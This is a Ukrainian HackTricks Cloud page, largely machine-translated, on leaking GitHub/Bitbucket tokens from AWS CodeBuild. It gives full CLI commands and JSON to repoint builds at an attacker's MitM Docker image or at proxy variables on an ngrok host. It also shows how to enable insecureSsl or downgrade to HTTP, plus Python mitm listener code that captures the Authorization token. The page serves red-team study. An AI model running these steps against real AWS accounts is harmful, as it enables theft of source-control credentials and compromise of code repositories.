AWS Codebuild - Token Leakage
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Відновлення Github/Bitbucket налаштованих Tokens
Спочатку перевірте, чи є які-небудь налаштовані source credentials, які ви могли б leak:
aws codebuild list-source-credentials
Через Docker Image
Якщо ви виявите, що в акаунті налаштована автентифікація, наприклад до Github, ви можете exfiltrate цей access (GH token або OAuth token), змусивши Codebuild use an specific docker image для запуску збірки проекту.
Для цього ви можете create a new Codebuild project або змінити environment існуючого, щоб встановити Docker image.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. Це дуже базовий Docker image, який встановить env variables https_proxy, http_proxy та SSL_CERT_FILE. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в https_proxy і http_proxy, і довіряти SSL CERT, вказаному в SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі та SSL сертифікат і збудувати Docker image.
- DO NOT SET
http_proxyщоб не перехоплювати запити до metadata endpoint. - Ви можете використати
ngrok, наприкладngrok tcp 4444, щоб встановити проксі на ваш хост - Після того як ви збудуєте Docker image, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Створіть new Codebuild project або змініть environment існуючого.
- Встановіть у проекті використання previously generated Docker image
.png)
- Встановіть MitM proxy на вашому хості
- Як вказано в Github repo, ви можете використати щось на кшталт:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Використана версія mitmproxy — 9.0.1, повідомлялося, що з версією 10 це може не працювати.
- Запустіть build та перехопіть credentials
- Ви можете побачити token у заголовку Authorization:
.png)
Це також можна зробити через aws cli за допомогою команди на кшталт
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Через insecureSSL
Codebuild projects have a setting called insecureSsl that is hidden in the web you can only change it from the API.
Увімкнення цього дозволяє Codebuild підключатися до репозиторію без перевірки сертифіката, який надає платформа.
- Спочатку потрібно перелічити поточну конфігурацію за допомогою чогось на кшталт:
aws codebuild batch-get-projects --name <proj-name>
- Потім, маючи зібрану інформацію, ви можете оновити налаштування проекту
insecureSslнаTrue. Наведено приклад мого оновлення проекту, зверніть увагу наinsecureSsl=Trueв кінці (це єдине, що потрібно змінити у зібраній конфігурації). - Крім того, додайте також змінні оточення http_proxy та https_proxy, які вказують на ваш tcp ngrok, наприклад:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному в proxy variables (http_proxy and https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Нарешті, натисніть на Build the project, облікові дані будуть відправлені у відкритому тексті (base64) на порт mitm:
 (1).png)
Через протокол HTTP
[!TIP] > Ця вразливість була виправлена AWS десь на тижні, що починався 20 лютого 2023 року (мабуть у п’ятницю). Тож атакувати її вже не можна :)
Зловмисник з підвищеними правами в CodeBuild може leak налаштований Github/Bitbucket token, або якщо права були налаштовані через OAuth, тимчасовий OAuth token, який використовується для доступу до коду.
- Зловмисник може додати змінні середовища http_proxy і https_proxy до проекту CodeBuild, вказуючи на свою машину (наприклад
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад:
http://github.com/carlospolop-forks/TestActions - Після цього запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними proxy (http_proxy та https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Далі натисніть на Побудувати проект або запустіть збірку з командного рядка:
aws codebuild start-build --project-name <proj-name>
- Нарешті, облікові дані будуть відправлені у відкритому вигляді (base64) на порт mitm:
.png)
Warning
Тепер attacker зможе використати token зі своєї машини, переглянути всі привілеї, які він має, і (ab)use легше, ніж безпосередньо використовуючи сервіс CodeBuild.
Виконання неперевіреного PR через неправильну конфігурацію фільтра webhook
Для PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), перевірте:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

